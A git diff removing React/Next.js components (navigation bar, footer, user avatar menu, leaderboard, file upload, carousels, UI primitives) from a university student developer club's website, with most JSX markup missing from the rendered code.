--- a/src/app/components/Footer.css
+++ /dev/null
@@ -1,42 +0,0 @@
-.footer {
- background-size: 100% 125%;
- background-color: #fff8fc;
- background-image: url("../images/backgroundbottom.png");
- background-repeat: no-repeat;
- background-blend-mode: normal;
-
- max-width: 80rem;
- height: 20rem;
-
- margin-left: auto;
- margin-right: auto;
-}
-
-#UGA-Devdogs {
- align-content: space-between;
-}
-
-#align-links {
- align-content: space-between;
-}
-
-.box {
- background-color: #797979;
- padding: 10px;
- border-radius: 5px;
- margin-right: 20px;
-}
-
-@media only screen and (max-width: 600px) {
- .footer {
- padding-top: 5rem;
- display: flex;
- align-items: center;
- text-align: center;
- flex-direction: column;
- }
-
- .box {
- margin-right: 0px;
- }
-}
diff --git a/src/app/components/Footer.js b/src/app/components/Footer.js
deleted file mode 100644
index b522548..0000000
--- a/src/app/components/Footer.js
+++ /dev/null
@@ -1,46 +0,0 @@
-import "./Footer.css";
-import Link from "next/link";
-import Image from "next/image";
-import instagramIcon from "../images/instagram.svg";
-import linkedInIcon from "../images/linkedin.svg";
-import githubIcon from "../images/github.svg";
-
-export default function Footer() {
- return (
-
-
-
- © {new Date().getFullYear()} DevDogs at the University of Georgia
-
-
-
Follow us for more:
-
-
-
-
-
- {" "}
-
-
-
-
- {" "}
-
-
-
-
-
- );
-}
diff --git a/src/app/components/FormDrop.js b/src/app/components/FormDrop.js
deleted file mode 100644
index 61fddf4..0000000
--- a/src/app/components/FormDrop.js
+++ /dev/null
@@ -1,109 +0,0 @@
-/**
- * v0 by Vercel.
- * @see https://v0.dev/t/B1PFCpV9wdE
- * Documentation: https://v0.dev/docs#integrating-generated-code-into-your-nextjs-app
- */
-"use client";
-
-import {
- Card,
- CardHeader,
- CardTitle,
- CardDescription,
- CardContent,
-} from "./card.jsx";
-import { Input } from "./input.jsx";
-import { Button } from "./button.jsx";
-import {
- AlertDialog,
- AlertDialogCancel,
- AlertDialogContent,
- AlertDialogTrigger,
-} from "./alert-dialog.jsx";
-
-import PropTypes from "prop-types";
-import { useState } from "react";
-import { put } from "@vercel/blob";
-import { process } from "process";
-
-export default function FormDrop(props) {
- const [file, setFile] = useState(null);
- const [text, setText] = useState("Cancel");
-
- const handleFileChange = (event) => {
- const selectedFile = event.target.files[0];
- if (selectedFile) {
- setFile(selectedFile);
- }
- };
-
- // Handle file submission
- const handleSubmit = async () => {
- if (!file) {
- alert("Please select a file first.");
- return;
- }
-
- // Example: Uploading the file using FormData and fetch API
- const formData = new FormData();
- formData.append("file", file);
-
- try {
- let email = sessionStorage.getItem("email");
- email = email.split("@")[0];
- const { url: response } = await put(email, file, {
- access: "public",
- token: process.env.BLOB_READ_WRITE_TOKEN,
- });
-
- if (response) {
- props.onUrlChange(await response);
- setText("Done");
- } else {
- alert("Upload failed");
- }
- } catch (error) {
- console.error("Error uploading file:", error);
- alert("Error uploading file");
- }
- };
-
- return (
-
-
-
- Change Picture
-
-
-
-
-
- Upload your file
-
- File size should not exceed 4.5MB
-
-
-
-
-
-
- {text}
-
- Submit
-
-
-
-
-
- );
-}
-
-FormDrop.propTypes = {
- onUrlChange: PropTypes.func,
-};
diff --git a/src/app/components/GeneralCarousel.js b/src/app/components/GeneralCarousel.js
deleted file mode 100644
index 8291a95..0000000
--- a/src/app/components/GeneralCarousel.js
+++ /dev/null
@@ -1,72 +0,0 @@
-// General purpose carousel with out scaling effect, takes in two props and has childrenClass name where you can add your stlying.
-import Image from "next/image";
-import { useState, useEffect, useRef } from "react";
-import PropTypes from "prop-types";
-
-export default function GeneralCarousel({
- slides = [],
- childrenClassName = "",
- banner = false,
-}) {
- const [currentIndex, setCurrentIndex] = useState(0);
- const carouselRef = useRef(null);
-
- useEffect(() => {
- const intervalId = setInterval(() => {
- setCurrentIndex((prevIndex) => (prevIndex + 1) % slides.length);
- }, 5000); // Change picture every 5 seconds
-
- return () => clearInterval(intervalId); // Clear interval on component unmount
- }, [slides.length]);
-
- useEffect(() => {
- const carousel = carouselRef.current;
- if (carousel) {
- carousel.style.transition = "transform 1.5s ease-in-out";
- carousel.style.transform = `translateX(-${currentIndex * 100}%)`;
- }
- }, [currentIndex]);
-
- return (
-
-
- {slides.map((slide, index) => (
-
-
- {banner && (
-
- {slide.title && (
-
- {slide.title}
-
- )}
- {slide.description && (
-
- {slide.description}
-
- )}
-
- )}
-
- ))}
-
-
- );
-}
-
-GeneralCarousel.propTypes = {
- slides: PropTypes.array,
- childrenClassName: PropTypes.string,
- banner: PropTypes.bool,
-};
diff --git a/src/app/components/GithubPicture.js b/src/app/components/GithubPicture.js
deleted file mode 100644
index 9ff5023..0000000
--- a/src/app/components/GithubPicture.js
+++ /dev/null
@@ -1,38 +0,0 @@
-import { OpenInNewWindowIcon } from "@radix-ui/react-icons";
-
-const GithubPicture = (member) => {
- let data = member.member;
- return (
-
-
- {data.paid ? (
-
- ) : (
-
- )}
-
- );
-};
-
-export default GithubPicture;
diff --git a/src/app/components/Issues_Points.js b/src/app/components/Issues_Points.js
deleted file mode 100644
index a3be090..0000000
--- a/src/app/components/Issues_Points.js
+++ /dev/null
@@ -1,84 +0,0 @@
-"use client";
-
-import { useState, useEffect } from "react";
-
-const Issues_Points = ({ github }) => {
- const [loading, setLoading] = useState(true);
- const [issues, setIssues] = useState(null);
- const token = sessionStorage.getItem("access_token");
-
- useEffect(() => {
- const fetchIssues = async () => {
- const response = await fetch(
- "https://api.devdogs.uga.edu/users/issues?github=" + github,
- {
- method: "GET",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- Authorization: "Bearer " + token,
- },
- },
- );
-
- const data = await response.json();
- setIssues(data.data.issues);
- setLoading(false);
- };
- fetchIssues();
- }, []);
-
- if (loading) return Loading...
;
-
- return (
-
-
- {issues &&
- issues.map((issue) => (
-
-
- {issue.title}
-
-
- {issue.points.toFixed(0) + " Points"}
-
-
{issue.designation || null}
-
- ))}
-
-
- );
-};
-
-export default Issues_Points;
-
-// ROLES & POSITIONS
-/*
-
-
- Role Name
-
-
202#-202#
-
-
-
- Role Name
-
-
202#-202#
-
-
-
- Role Name
-
-
202#-202#
-
-
-
- Role Name
-
-
202#-202#
-
-
*/
diff --git a/src/app/components/LeaderBoard.js b/src/app/components/LeaderBoard.js
deleted file mode 100644
index 95e077a..0000000
--- a/src/app/components/LeaderBoard.js
+++ /dev/null
@@ -1,33 +0,0 @@
-"use client";
-import { useState, useEffect } from "react";
-import GithubPicture from "./GithubPicture";
-
-const LeaderBoard = () => {
- const [contributors, setContributors] = useState(null);
-
- useEffect(() => {
- async function fetchContributors() {
- let res = await fetch("https://api.devdogs.uga.edu/getLeaderBoard");
- let data = await res.json();
- setContributors(data);
- }
- fetchContributors();
- }, []);
-
- if (!contributors) return Loading...
;
-
- return (
-
- {contributors.map((member) => (
-
-
-
- ))}
-
- );
-};
-
-export default LeaderBoard;
diff --git a/src/app/components/NavBar.css b/src/app/components/NavBar.css
deleted file mode 100644
index 908a0fd..0000000
--- a/src/app/components/NavBar.css
+++ /dev/null
@@ -1,50 +0,0 @@
-.navbar {
- display: grid;
- grid-template-columns: 27% 62%;
- align-items: center;
- text-align: center;
-
- background-color: #31304b;
- /*border-bottom: solid;
- border-bottom-color: #201f32;*/
-}
-
-.links {
- display: grid;
- justify-items: center;
- align-items: center;
- grid-template-columns: 1fr 1fr 1fr 1fr 1fr;
-}
-
-#name2 {
- margin-bottom: 0.2rem;
- object-fit: cover;
-}
-
-@media only screen and (max-width: 600px) {
- .navbar {
- display: grid;
- grid-template-columns: 9% auto;
- background-color: #31304b;
- /*border-bottom: solid;
- border-bottom-color: #201f32;*/
- }
-
- .links {
- display: grid;
- grid-template-columns: 1fr 1fr 1fr 1fr;
- }
-
- .small {
- font-size: 5.2vw;
- }
-
- /* #joinus {
- display: none;
- } */
-
- a:hover {
- text-decoration: none;
- color: white;
- }
-}
diff --git a/src/app/components/NavBar.js b/src/app/components/NavBar.js
deleted file mode 100644
index 97d0329..0000000
--- a/src/app/components/NavBar.js
+++ /dev/null
@@ -1,134 +0,0 @@
-"use client";
-import Link from "next/link";
-import { usePathname } from "next/navigation";
-import "./NavBar.css";
-import Button from "./Button";
-import name2 from "../images/mascotwordlight.png";
-import logoOnly from "../images/logo.png";
-import Image from "next/image";
-import { Bars3Icon, XMarkIcon } from "@heroicons/react/24/solid";
-import { useState, useEffect, useRef } from "react";
-import NavBarAvatar from "./NavbarAvatar";
-
-const navLinks = [
- { name: "Home", path: "/", isDropdown: false },
- { name: "About", path: "/about", isDropdown: false },
- { name: "Team", path: "/about/people", isDropdown: false },
- { name: "Projects", path: "/about/projects", isDropdown: false },
- { name: "Events", path: "/about/events", isDropdown: false },
-];
-
-const NavBar = () => {
- const pathname = usePathname();
- const [isDropdownOpen, setIsDropdownOpen] = useState(false);
- const dropdownRef = useRef(null);
-
- const getLinkClasses = (path) => {
- return `text-xl px-3 no-underline ${
- pathname === path
- ? "text-GloryGloryRed font-semibold"
- : "hover:text-GloryGloryRed"
- }`;
- };
-
- const toggleDropdown = () => {
- setIsDropdownOpen(!isDropdownOpen);
- };
-
- const handleClickOutside = (event) => {
- if (dropdownRef.current && !dropdownRef.current.contains(event.target)) {
- setIsDropdownOpen(false);
- }
- };
-
- useEffect(() => {
- if (isDropdownOpen) {
- document.addEventListener("mousedown", handleClickOutside);
- } else {
- document.removeEventListener("mousedown", handleClickOutside);
- }
-
- return () => {
- document.removeEventListener("mousedown", handleClickOutside);
- };
- }, [isDropdownOpen]);
-
- return (
-
-
-
-
-
-
-
-
-
-
- {isDropdownOpen ? (
-
-
-
-
- ) : (
-
-
-
-
- )}
-
- {isDropdownOpen && (
-
- {navLinks.map(({ name, path }) => (
-
-
{name}
-
- ))}
-
- )}
-
- {navLinks.map(({ name, path }) => (
-
-
- {name}
-
-
- ))}
-
-
-
- );
-};
-
-export default NavBar;
diff --git a/src/app/components/NavbarAvatar.js b/src/app/components/NavbarAvatar.js
deleted file mode 100644
index 7dfede5..0000000
--- a/src/app/components/NavbarAvatar.js
+++ /dev/null
@@ -1,182 +0,0 @@
-"use client";
-
-import { Avatar, AvatarFallback, AvatarImage } from "./avatar.jsx";
-import {
- DropdownMenu,
- DropdownMenuContent,
- DropdownMenuItem,
- DropdownMenuLabel,
- DropdownMenuSeparator,
- DropdownMenuTrigger,
-} from "./dropdown-menu.jsx";
-import { Button } from "./button.jsx";
-import { User, Settings, LogOut } from "lucide-react";
-import { useEffect, useState } from "react";
-import { usePathname, useRouter } from "next/navigation";
-
-export default function NavBarAvatar() {
- const [imageUrl, setImageUrl] = useState(null);
- const [user, setUser] = useState(null);
- const [token, setToken] = useState(null);
- const [email, setEmail] = useState(null);
-
- const router = useRouter();
- const pathname = usePathname();
-
- useEffect(() => {
- if (typeof window !== "undefined") {
- setToken(sessionStorage.getItem("access_token"));
- setEmail(sessionStorage.getItem("email"));
- }
- }, []);
-
- const logout = async () => {
- try {
- await fetch("https://api.devdogs.uga.edu/auth/logout", {
- method: "GET",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- },
- });
- console.log("Logged out");
- setImageUrl(null);
- setEmail(null);
- setUser(null);
- setToken(null);
- router.push("/");
- router.refresh();
- } catch (error) {
- console.error("Logout failed:", error);
- }
- if (typeof window !== "undefined") {
- sessionStorage.clear();
- }
- };
-
- useEffect(() => {
- const fetchUser = async () => {
- try {
- if (!token || !email) {
- return;
- }
-
- const response = await fetch(
- "https://api.devdogs.uga.edu/users/user_page",
- {
- method: "GET",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- Authorization: "Bearer " + token,
- },
- },
- );
-
- const res = await response.json();
- console.log(await res.data);
- if (await res.data) {
- setUser(await res.data);
- }
- if ((await res.data?.accessToken) && typeof window !== "undefined") {
- sessionStorage.setItem("access_token", await res.data.accessToken);
- }
- setImageUrl(res.data?.user_page.pfp_link);
- } catch (err) {
- console.error(err);
- }
- };
-
- fetchUser();
- }, [token, pathname, email]);
-
- return (
-
-
-
-
-
-
-
-
-
-
- {user?.user_page?.userInfo ? (
-
-
-
-
- {user.user_page.userInfo?.first_name}{" "}
- {user.user_page.userInfo?.last_name}
-
-
- {user.user_page.userInfo?.email_address}
-
-
-
-
-
- ) : null}
- {user?.user_page?.paid &&
- user?.user_page?.userInfo?.users?.githubLogin ? (
-
-
-
- My Page
-
-
- ) : user?.user_page?.userInfo?.user_id && !user?.user_page?.paid ? (
-
-
-
- Pay Dues
-
-
- ) : user?.user_page?.paid &&
- !user?.user_page?.userInfo?.users?.githubLogin ? (
-
-
-
- Link GitHub
-
-
- ) : null}
-
-
-
- Dashboard
-
-
-
- {user ? (
-
-
-
- Logout
-
-
- ) : (
-
-
-
- Login
-
-
- )}
-
-
-
- );
-}
diff --git a/src/app/components/PageSubtitleTemplate.js b/src/app/components/PageSubtitleTemplate.js
deleted file mode 100644
index 492ef6d..0000000
--- a/src/app/components/PageSubtitleTemplate.js
+++ /dev/null
@@ -1,39 +0,0 @@
-import PropTypes from "prop-types";
-
-PageSubtitleTemplate.propTypes = {
- redText: PropTypes.string,
- blackText: PropTypes.string,
- className: PropTypes.string,
- reverse: PropTypes.bool,
-};
-
-export default function PageSubtitleTemplate({
- redText,
- blackText,
- className = "",
- reverse = false,
-}) {
- return (
-
- {reverse ? (
- <>
-
- {blackText}
-
-
- {redText}
-
- >
- ) : (
- <>
-
- {redText}
-
-
- {blackText}
-
- >
- )}
-
- );
-}
diff --git a/src/app/components/PageTitleTemplate.js b/src/app/components/PageTitleTemplate.js
deleted file mode 100644
index 23d991e..0000000
--- a/src/app/components/PageTitleTemplate.js
+++ /dev/null
@@ -1,39 +0,0 @@
-import PropTypes from "prop-types";
-
-PageTitleTemplate.propTypes = {
- redText: PropTypes.string,
- blackText: PropTypes.string,
- className: PropTypes.string,
- reverse: PropTypes.bool,
-};
-
-export default function PageTitleTemplate({
- redText,
- blackText,
- className = "",
- reverse = false,
-}) {
- return (
-
- {reverse ? (
- <>
-
- {blackText}
-
-
- {redText}
-
- >
- ) : (
- <>
-
- {redText}
-
-
- {blackText}
-
- >
- )}
-
- );
-}
diff --git a/src/app/components/PaymentTierCard.js b/src/app/components/PaymentTierCard.js
deleted file mode 100644
index 8747e4f..0000000
--- a/src/app/components/PaymentTierCard.js
+++ /dev/null
@@ -1,26 +0,0 @@
-import Link from "next/link";
-import Image from "next/image";
-
-export default function PaymentTierCard({ image, link, title, color }) {
- return (
-
- {/* */}
-
-
-
-
-
- );
-}
diff --git a/src/app/components/ResendEmailButton.js b/src/app/components/ResendEmailButton.js
deleted file mode 100644
index 7eed8bf..0000000
--- a/src/app/components/ResendEmailButton.js
+++ /dev/null
@@ -1,95 +0,0 @@
-"use client";
-
-import { useState, useEffect } from "react";
-import { Button } from "../components/shadcn-button.jsx";
-import { Loader2, Send } from "lucide-react";
-
-export default function ResendEmailButton() {
- const [isLoading, setIsLoading] = useState(false);
- const [message, setMessage] = useState("");
- const [lastSentTime, setLastSentTime] = useState(null);
- const [canResend, setCanResend] = useState(true);
-
- useEffect(() => {
- const now = Date.now();
- if (lastSentTime) {
- const timeDiff = now - lastSentTime;
- // Check if 30 minutes (1800000 milliseconds) have passed
- if (timeDiff < 1800000) {
- setCanResend(false);
- const remainingTime = 1800000 - timeDiff;
- const timer = setTimeout(() => {
- setCanResend(true);
- }, remainingTime);
- return () => clearTimeout(timer);
- }
- }
- }, [lastSentTime]);
-
- const resendEmail = async () => {
- try {
- const token = sessionStorage.getItem("access_token");
-
- await fetch("https://api.devdogs.uga.edu/auth/resendEmail", {
- method: "GET",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- Authorization: "Bearer " + token,
- },
- });
- } catch (err) {
- console.error(err);
- }
- };
-
- const handleResend = async () => {
- if (!canResend) {
- setMessage("You can only resend the email every 30 minutes.");
- return;
- }
-
- setIsLoading(true);
- setMessage("");
-
- const result = await resendEmail();
-
- setIsLoading(false);
-
- setLastSentTime(Date.now()); // Update the last sent time
- };
-
- return (
-
-
- {isLoading ? (
- <>
-
- Sending
- >
- ) : (
- <>
-
- Verify Your Email
- >
- )}
-
- {message && (
-
- {message}
-
- )}
- {!canResend && (
-
- Please wait 30 minutes before resending the email.
-
- )}
-
- );
-}
diff --git a/src/app/components/ResourceLinks.js b/src/app/components/ResourceLinks.js
deleted file mode 100644
index 83cf98e..0000000
--- a/src/app/components/ResourceLinks.js
+++ /dev/null
@@ -1,45 +0,0 @@
-import GitHubLogo from "../images/githublogotransparent.png";
-import HTMLLogo from "../images/htmllogotransparent.png";
-
-/** How to use add resources:
- * 1. add id, resourceName, and a png transparent image to the images folder, then import like above
- * 2. add your links as an array, and then an array of the same length with titles for each link that will
- * display on the website.
- *
- * Format:
- * id: int
- * resourceName: String
- * resourceLogo: image variable reference
- * links: String array [same length]
- * linkNames: string array [same length]
- */
-
-const ResourceLinks = [
- {
- id: 0,
- resourceName: "GitHub",
- resourceLogo: GitHubLogo,
- links: [
- "https://www.slideshare.net/slideshow/git-101-git-and-github-for-beginners/53063631",
- "https://www.slideshare.net/Simplilearn/git-tutorial-for-beginners-what-is-git-and-github-devops-tools-devops-tutorial-simplilearn",
- "https://docs.github.com/en/get-started",
- ],
- linkNames: [
- "Github-Intro-Slides",
- "Github-Intro-Slides2",
- "GitHub-Get-Started",
- ],
- },
- {
- id: 1,
- resourceName: "HTML",
- resourceLogo: HTMLLogo,
- links: [
- "https://www.w3schools.com/html/html_intro.asp",
- "https://www.w3schools.com/html/html_elements.asp",
- ],
- linkNames: ["HTML-Intro", "HTML-Elements"],
- },
-];
-
-export default ResourceLinks;
diff --git a/src/app/components/ResourceList.css b/src/app/components/ResourceList.css
deleted file mode 100644
index 01208da..0000000
--- a/src/app/components/ResourceList.css
+++ /dev/null
@@ -1,61 +0,0 @@
-.header-title {
- width: 5rem;
- margin-right: 10%;
- text-align: center;
- float: left;
- margin-left: -4.5%;
- margin-top: -10%;
- padding-top: 3.8rem;
-}
-
-.name-text-size {
- font-size: 1.8rem;
-}
-
-.header-image {
- width: 10rem;
- margin-left: 3%;
- margin-top: -6rem;
- text-align: left;
- float: left;
-}
-
-.padding {
- padding-top: 1rem;
-}
-
-.list {
- margin-left: 32%;
- margin-top: -6%;
-}
-
-.resource-card-container {
- width: 90%;
- border-radius: 2rem;
- box-shadow: 0px 10px 8px #999;
- display: flex;
- flex-direction: column;
- margin-left: 5%;
- margin-right: 5%;
- margin-bottom: 5rem;
- background-color: white;
- height: fit-content;
- padding: 1rem;
-}
-
-li {
- padding-bottom: 5%;
-}
-
-.links-list {
- margin-top: -2rem;
- margin-bottom: 2rem;
-}
-
-#link-color {
- color: black;
-}
-
-.list-text-size {
- font-size: 1.1rem;
-}
diff --git a/src/app/components/ResourceList.js b/src/app/components/ResourceList.js
deleted file mode 100644
index e435023..0000000
--- a/src/app/components/ResourceList.js
+++ /dev/null
@@ -1,44 +0,0 @@
-import ResourceLinks from "./ResourceLinks";
-import "./ResourceList.css";
-
-function ConstructLinks({ linksArr, linkNamesArr }) {
- return linksArr.map((link, index) => (
-
- ));
-}
-
-const ResourceList = () => {
- return ResourceLinks.map((resource, index) => (
-
-
-
-
-
-
-
{resource.resourceName}
-
-
-
-
- ));
-};
-
-export default ResourceList;
diff --git a/src/app/components/RolesHome.js b/src/app/components/RolesHome.js
deleted file mode 100644
index 247379a..0000000
--- a/src/app/components/RolesHome.js
+++ /dev/null
@@ -1,38 +0,0 @@
-import { useState, useEffect } from "react";
-
-export default function RolesHome() {
- const roles = [
- "Developers",
- "UI Designers",
- "Impact-Havers",
- "Data Gurus",
- "Leaders",
- ];
-
- const [currentIndex, setCurrentIndex] = useState(0);
- const [fade, setFade] = useState(true);
-
- useEffect(() => {
- const interval = setInterval(() => {
- setFade(false);
- setTimeout(() => {
- setCurrentIndex((prevIndex) => (prevIndex + 1) % roles.length);
- setFade(true);
- }, 500); // Wait for the fade-out to complete before changing text
- }, 3000); // Change role every 3 seconds
-
- return () => clearInterval(interval);
- }, [roles.length]);
-
- return (
-
-
- {roles[currentIndex]}
-
-
- );
-}
diff --git a/src/app/components/SocialsAndContact.js b/src/app/components/SocialsAndContact.js
deleted file mode 100644
index a5a9e96..0000000
--- a/src/app/components/SocialsAndContact.js
+++ /dev/null
@@ -1,45 +0,0 @@
-import InstagramIcon from "@/app/images/instagram.svg";
-import EMailIcon from "@/app/images/mail.svg";
-import GitHubIcon from "@/app/images/github.svg";
-import LinkedInIcon from "@/app/images/linkedin.svg";
-import Image from "next/image";
-import Link from "next/link";
-
-export default function SocialsAndContact() {
- return (
-
-
-
- Whether you’re a student or a sponsor with comments or concerns, reach
- us in your preferred way here.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- );
-}
diff --git a/src/app/components/SponsorshipCard.css b/src/app/components/SponsorshipCard.css
deleted file mode 100644
index dfc6fb8..0000000
--- a/src/app/components/SponsorshipCard.css
+++ /dev/null
@@ -1,48 +0,0 @@
-#tier-description {
- color: #ffffff;
- background-color: #3a3a3a;
- /*background-image: none;
- border-radius: 0rem 0rem 1rem 1rem;*/
- padding: 10px 20px;
- border-radius: 0 0 20px 20px;
-}
-
-.tier-card {
- box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2);
- border-radius: 20px 20px 20px 20px;
- display: grid;
- grid-template-rows: 100px 1fr;
- margin: 10px;
-}
-
-#img {
- width: 100%;
- height: 100%;
-}
-
-#pic {
- width: 60%;
- height: 60%;
-}
-
-@media only screen and (max-width: 600px) {
- .tier-card {
- box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2);
- border-radius: 20px 20px 20px 20px;
- display: grid;
- grid-template-rows: 100px 1fr;
- }
-
- #pic {
- object-fit: cover;
- }
-
- #tier-description {
- color: #ffffff;
- background-color: #3a3a3a;
- padding: 1px 10px;
- font-size: 10px;
- border-radius: 0 0 20px 20px;
- height: auto;
- }
-}
diff --git a/src/app/components/SponsorshipCard.js b/src/app/components/SponsorshipCard.js
deleted file mode 100644
index 9acc598..0000000
--- a/src/app/components/SponsorshipCard.js
+++ /dev/null
@@ -1,22 +0,0 @@
-import "./SponsorshipCard.css";
-import PropTypes from "prop-types";
-
-const SponsorshipCard = (props) => {
- return (
-
-
-
- {/* */}
-
-
{props.tiername}
-
-
- );
-};
-
-export default SponsorshipCard;
-
-SponsorshipCard.propTypes = {
- id: PropTypes.string,
- tiername: PropTypes.string,
-};
diff --git a/src/app/components/alert-dialog.jsx b/src/app/components/alert-dialog.jsx
deleted file mode 100644
index bed7363..0000000
--- a/src/app/components/alert-dialog.jsx
+++ /dev/null
@@ -1,122 +0,0 @@
-"use client";
-
-import * as React from "react";
-import * as AlertDialogPrimitive from "@radix-ui/react-alert-dialog";
-
-import { cn } from "@/lib/utils";
-import { buttonVariants } from "./button.jsx";
-
-const AlertDialog = AlertDialogPrimitive.Root;
-
-const AlertDialogTrigger = AlertDialogPrimitive.Trigger;
-
-const AlertDialogPortal = AlertDialogPrimitive.Portal;
-
-const AlertDialogOverlay = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-AlertDialogOverlay.displayName = AlertDialogPrimitive.Overlay.displayName;
-
-const AlertDialogContent = React.forwardRef(({ className, ...props }, ref) => (
-
-
-
-
-));
-AlertDialogContent.displayName = AlertDialogPrimitive.Content.displayName;
-
-const AlertDialogHeader = ({ className, ...props }) => (
-
-);
-AlertDialogHeader.displayName = "AlertDialogHeader";
-
-const AlertDialogFooter = ({ className, ...props }) => (
-
-);
-AlertDialogFooter.displayName = "AlertDialogFooter";
-
-const AlertDialogTitle = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-AlertDialogTitle.displayName = AlertDialogPrimitive.Title.displayName;
-
-const AlertDialogDescription = React.forwardRef(
- ({ className, ...props }, ref) => (
-
- ),
-);
-AlertDialogDescription.displayName =
- AlertDialogPrimitive.Description.displayName;
-
-const AlertDialogAction = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-AlertDialogAction.displayName = AlertDialogPrimitive.Action.displayName;
-
-const AlertDialogCancel = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-AlertDialogCancel.displayName = AlertDialogPrimitive.Cancel.displayName;
-
-export {
- AlertDialog,
- AlertDialogPortal,
- AlertDialogOverlay,
- AlertDialogTrigger,
- AlertDialogContent,
- AlertDialogHeader,
- AlertDialogFooter,
- AlertDialogTitle,
- AlertDialogDescription,
- AlertDialogAction,
- AlertDialogCancel,
-};
diff --git a/src/app/components/avatar.jsx b/src/app/components/avatar.jsx
deleted file mode 100644
index e50217d..0000000
--- a/src/app/components/avatar.jsx
+++ /dev/null
@@ -1,41 +0,0 @@
-"use client";
-
-import * as React from "react";
-import * as AvatarPrimitive from "@radix-ui/react-avatar";
-
-import { cn } from "@/lib/utils";
-
-const Avatar = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-Avatar.displayName = AvatarPrimitive.Root.displayName;
-
-const AvatarImage = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-AvatarImage.displayName = AvatarPrimitive.Image.displayName;
-
-const AvatarFallback = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-AvatarFallback.displayName = AvatarPrimitive.Fallback.displayName;
-
-export { Avatar, AvatarImage, AvatarFallback };
diff --git a/src/app/components/button.jsx b/src/app/components/button.jsx
deleted file mode 100644
index 576619a..0000000
--- a/src/app/components/button.jsx
+++ /dev/null
@@ -1,52 +0,0 @@
-import * as React from "react";
-import { Slot } from "@radix-ui/react-slot";
-import { cva } from "class-variance-authority";
-
-import { cn } from "@/lib/utils";
-
-const buttonVariants = cva(
- "inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-neutral-950 disabled:pointer-events-none disabled:opacity-50 dark:focus-visible:ring-neutral-300",
- {
- variants: {
- variant: {
- default:
- "bg-neutral-900 text-neutral-50 shadow hover:bg-neutral-900/90 dark:bg-neutral-50 dark:text-neutral-900 dark:hover:bg-neutral-50/90",
- destructive:
- "bg-red-500 text-neutral-50 shadow-sm hover:bg-red-500/90 dark:bg-red-900 dark:text-neutral-50 dark:hover:bg-red-900/90",
- outline:
- "border border-neutral-200 bg-white shadow-sm hover:bg-neutral-100 hover:text-neutral-900 dark:border-neutral-800 dark:bg-neutral-950 dark:hover:bg-neutral-800 dark:hover:text-neutral-50",
- secondary:
- "bg-neutral-100 text-neutral-900 shadow-sm hover:bg-neutral-100/80 dark:bg-neutral-800 dark:text-neutral-50 dark:hover:bg-neutral-800/80",
- ghost:
- "hover:bg-neutral-100 hover:text-neutral-900 dark:hover:bg-neutral-800 dark:hover:text-neutral-50",
- link: "text-neutral-900 underline-offset-4 hover:underline dark:text-neutral-50",
- },
- size: {
- default: "h-9 px-4 py-2",
- sm: "h-8 rounded-md px-3 text-xs",
- lg: "h-10 rounded-md px-8",
- icon: "h-9 w-9",
- },
- },
- defaultVariants: {
- variant: "default",
- size: "default",
- },
- },
-);
-
-const Button = React.forwardRef(
- ({ className, variant, size, asChild = false, ...props }, ref) => {
- const Comp = asChild ? Slot : "button";
- return (
-
- );
- },
-);
-Button.displayName = "Button";
-
-export { Button, buttonVariants };
diff --git a/src/app/components/card.jsx b/src/app/components/card.jsx
deleted file mode 100644
index e522a2e..0000000
--- a/src/app/components/card.jsx
+++ /dev/null
@@ -1,65 +0,0 @@
-import * as React from "react";
-
-import { cn } from "@/lib/utils";
-
-const Card = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-Card.displayName = "Card";
-
-const CardHeader = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-CardHeader.displayName = "CardHeader";
-
-const CardTitle = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-CardTitle.displayName = "CardTitle";
-
-const CardDescription = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-CardDescription.displayName = "CardDescription";
-
-const CardContent = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-CardContent.displayName = "CardContent";
-
-const CardFooter = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-CardFooter.displayName = "CardFooter";
-
-export {
- Card,
- CardHeader,
- CardFooter,
- CardTitle,
- CardDescription,
- CardContent,
-};
diff --git a/src/app/components/dropdown-menu.jsx b/src/app/components/dropdown-menu.jsx
deleted file mode 100644
index bf7de2d..0000000
--- a/src/app/components/dropdown-menu.jsx
+++ /dev/null
@@ -1,188 +0,0 @@
-"use client";
-
-import * as React from "react";
-import * as DropdownMenuPrimitive from "@radix-ui/react-dropdown-menu";
-import {
- CheckIcon,
- ChevronRightIcon,
- DotFilledIcon,
-} from "@radix-ui/react-icons";
-
-import { cn } from "@/lib/utils";
-
-const DropdownMenu = DropdownMenuPrimitive.Root;
-
-const DropdownMenuTrigger = DropdownMenuPrimitive.Trigger;
-
-const DropdownMenuGroup = DropdownMenuPrimitive.Group;
-
-const DropdownMenuPortal = DropdownMenuPrimitive.Portal;
-
-const DropdownMenuSub = DropdownMenuPrimitive.Sub;
-
-const DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup;
-
-const DropdownMenuSubTrigger = React.forwardRef(
- ({ className, inset, children, ...props }, ref) => (
-
- {children}
-
-
- ),
-);
-DropdownMenuSubTrigger.displayName =
- DropdownMenuPrimitive.SubTrigger.displayName;
-
-const DropdownMenuSubContent = React.forwardRef(
- ({ className, ...props }, ref) => (
-
- ),
-);
-DropdownMenuSubContent.displayName =
- DropdownMenuPrimitive.SubContent.displayName;
-
-const DropdownMenuContent = React.forwardRef(
- ({ className, sideOffset = 4, ...props }, ref) => (
-
-
-
- ),
-);
-DropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName;
-
-const DropdownMenuItem = React.forwardRef(
- ({ className, inset, ...props }, ref) => (
-
- ),
-);
